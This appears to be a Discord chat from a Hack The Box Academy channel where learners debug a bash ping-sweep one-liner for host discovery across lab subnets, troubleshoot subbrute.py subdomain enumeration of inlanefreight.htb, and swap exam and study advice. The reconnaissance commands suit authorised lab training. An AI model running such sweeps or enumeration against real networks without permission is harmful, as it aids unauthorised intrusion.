You're waiting on it basically to go from 0 to 5.x while pinging every 0.00 to 0.254 along the way

[pine dagger]

Yeah, that's going to take.... 212 minutes if none are up

[fathom pendant]

That's why I said to figure out what subnet you're on. You can basically make a "smart" sweep

[pulsar needle]

How come when i just copy pasted it i finished it in like 10 seconds?

[pine dagger]

Can I ask, why dont you just use fping?

[pulsar needle]

oh

[fathom pendant]

I dont think fping is on the target system? Unless it's a default util

[pine dagger]

sadge

[pulsar needle]

its not on the system

but it could be used via proxychains

[pine dagger]

Yep

[fathom pendant]

It's still good to know how to do

[pulsar needle]

aaah

i didnt know lol

Is it possible to do that with the longer one liner?

[pine dagger]

Huh?

That's still sequential

[pulsar needle]

Like the one scanning 172.16.0-5.x

[pine dagger]

Yeah yeah. Just might confuse people. No delay on the sequential task, as it doesnt wait for each to finish.

Good shout on the backgrounding o/

[pulsar needle]

so

for i in {0..5}; do for j in {1..254}; do ping -c 1 172.16.$j.$i | grep "bytes" &; done | grep "bytes from"&; done

nvm, i dont think its possible with what i know, ill come back to it later lol

[pine dagger]

I think you need the parenthesis around the ping and first grep

for i in {0..5}; do (for j in {1..254}; do (ping -c 1 172.16.$j.$i | grep "bytes" &); done | grep "bytes from" &); done

[pulsar needle]

I did, and i got a lot of errors xd

sendmsg: Invalid argument

[pine dagger]

If you do it like this:
for i in {0..5}; do for j in {1..254}; do (ping -c 1 172.16.$j.$i | grep "bytes" &); done | grep "bytes"; done
Then it will do the i loop each in turn

[frozen mesa]

What if subbrute only gives errors? Any alternative tool? ||./subbrute.py inlanefreight.htb -s ./names.txt -r ./resolvers.txtWarning: Fewer than 16 resolvers per process, consider adding more nameservers to resolvers.txt.
Warning: No nameservers found, trying fallback list.
Process lookup-3:
Traceback (most recent call last):
File "/usr/lib/python3.9/multiprocessing/process.py", line 315, in _bootstrap
self.run()
File "/home/htb-ac-750268/Desktop/subbrute/./subbrute.py", line 422, in run
response = self.check(hostname, query_type, timeout_retries)
File "/home/htb-ac-750268/Desktop/subbrute/./subbrute.py", line 342, in check
resp = self.resolver.query(host)
File "/home/htb-ac-750268/Desktop/subbrute/./subbrute.py", line 57, in query
name_server = self.get_ns()
File "/home/htb-ac-750268/Desktop/subbrute/./subbrute.py", line 107, in get_ns
ret = self.nameservers[self.pos]
IndexError: list index out of range
||

Plus after manually checking records; i could not find anything that remotely looked like a flag other than the cookie.

[pulsar needle]

True

[fathom pendant]

Try just having inlanefreight.htb in your resolvers.txt

[pulsar needle]

It works now, thanks👍

[fathom pendant]

It's been a minute

But I recall needing to do something with ip and resolving

[pine dagger]

Should thank @lavish cave too for the backgrounding 😉

[shut wraith]

Hello. I have a few questions regarding HTB Academy:

1. The exam.
   Can I get a student subscription for a few months until I'm done the pentester path and then pay 200 for the exam?

2. Exercises
   Do the exercises require a VPN connection? If so can I connect via an Express VPN connection because my country blocks UDP connections.

3. The boxes
   Is the subscription separate from access to retired boxes or do I also get access to that

4. Any opinions from someone who has been doing HTB Academy would be appreciated.
   I am struggling on OffSec and need more material to learn from. That's why I'm thinking of enrolling in HTB Academy

[pulsar needle]

Thanks for the help qubasta and wolfiej then hehe

[red valve]

1. yes
2. i think you can't
3. it is separate
   4)i'm starting soon too

[pulsar needle]

True

[shut wraith]

Awesome let's start together

Can you complete the HTB academy module exercises without connecting to the VPN?

[fathom pendant]

The answer to 2 is no, it requires the htb vpn, there is a tcp version of the download you can use

[silver iris]

No you cant i´m afraid

The labs are often like mini-ctfs

[shut wraith]

Do you guys recommend anything or any knowledge prereq before starting the pentesting path?

[fathom pendant]

The only way to do so without connecting to the vpn is through the in-browser pwnbox (which can be limiting)

[fathom pendant]

Infosec Fundamentals

[silver iris]

Networking knowledge helps alot

[fathom pendant]

That path helps a lot

[shut wraith]

Any link or guide for this sir?

[acoustic owl]

#cpts message

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[frozen mesa]

Done, had that with a typo. New results but the new results dont bring any useful results. I dont know where to look now and what to do.

[acoustic owl]

https://academy.hackthebox.com/path/preview/information-security-foundations

[frozen mesa]

dig'd all the new subdomains

[pine dagger]

On #4: I've done all but the very latest content. Depending on your background, you may have certain level of knowledge already in certain areas. My advice would be to do that content anyway and make notes around everything as you never know what will be useful in the future, specifically within the academy, and also with other stuff in the future. Make sure to do research outside of the modules (especially the links they provide), and practice everything. The early stuff will probably be super easy, but it will get harder, so nailing the fundamentals is very important.

If you get stuck try harder. People often think that means do the same thing, but really it means, do more research, understand the problem more, try other things. It's very easy to slip into the trap of asking people for help when you get stuck (and sure if you really are stuck, you should ask), but when you move beyond HTB, there probably wont be someone who has the answer, and you'll be on your own, so establishing a good ethic of trying everything you can think of, will be helpful.

[fathom pendant]

See what subdomains it digs up

[fathom pendant]

Try smarter not harder. The try smarter mindset is what you described

[pine dagger]

I think both

[frozen mesa]

dig'd them all:
|| ./subbrute.py inlanefreight.htb -s ./names.txt -r ./resolvers.txt
Warning: Fewer than 16 resolvers per process, consider adding more nameservers to resolvers.txt.
inlanefreight.htb
hr.inlanefreight.htb
helpdesk.inlanefreight.htb
ns.inlanefreight.htb
control.inlanefreight.htb
Traceback (most recent call last):
File "/home/htb-ac-750268/Desktop/subbrute/./subbrute.py", line 700, in run
killproc(pid = verify_nameservers_proc.pid)
File "/home/htb-ac-750268/Desktop/subbrute/./subbrute.py", line 721, in killproc
os.kill(pid, 9)
ProcessLookupError: [Errno 3] No such process

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "/home/htb-ac-750268/Desktop/subbrute/./subbrute.py", line 834, in <module>
print_target(target, record_type, options.subs, options.resolvers, options.process_count, options.print_data, output, json_output)
File "/home/htb-ac-750268/Desktop/subbrute/./subbrute.py", line 513, in print_target
for result in run(target, query_type, subdomains, resolve_list, process_count):
File "/home/htb-ac-750268/Desktop/subbrute/./subbrute.py", line 703, in run
verify_nameservers_proc.end()
AttributeError: 'verify_nameservers' object has no attribute 'end'||

[shut wraith]

Thanks

[fathom pendant]

Also wrap your errors in triple backticks

[acoustic owl]

What is in the resolvers.txt?

[shut wraith]

It is a requirement for the exam to finish all the Pentester Job Role Path Exercises correct?

[fathom pendant]

Yes

[frozen mesa]

inlanfreight.htb

[fathom pendant]

You're missing an e

[shut wraith]

Btw @fathom pendant do u have a link or guide to getting the tcp VPN? I actually need or else I wont be able to connect

[frozen mesa]

yes typed it wrong. i have the corerct in resolvers

[silver iris]

https://help.hackthebox.com/en/ Look here

[acoustic owl]

Do it with ip, not with the domain
.htb is not an official TLD.
This means that the root servers can't resolve this TLD.

[fathom pendant]

In the getting started module I believe it walks through how to set it up

[fathom pendant]

Even if it's in /etc/hosts?

[acoustic owl]

That makes no sense.
You write a domain as resolver and then the PC must resolve the resolver again?

[shut wraith]

Thanks guys

[fathom pendant]

Ah I'm dumb ye

It's been a hot minute since I did that module

[acoustic owl]

No, you are not dump.
Don't worry, so many people make this mistake.

It works, but it requires additional effort for the PC.

[fathom pendant]

I just couldn't recall how I did it

[acoustic owl]

As I said, it works.

But a PC can basically do nothing with a domain. It must resolve this domain to an IP.

At least to connect to this host.

[lapis pelican]

First question of this module does not accept the right answer. I have the version number in front of my screen and it's not accepting it. This is how I am entering it: X.X.XX
https://academy.hackthebox.com/module/77/section/726

[shut wraith]

Holy cow. SOmeone just said their exam report is 98 pages long. That's insane

[frozen mesa]

In my answer i have no version but application name...

[lapis pelican]

Ah got it. Yes, the application name works. It's weird because question specifically asked the version name.

[pine dagger]

Lots of screenshots 😄

[frozen mesa]

Yes, had the same struggle... that will happen more often 🙂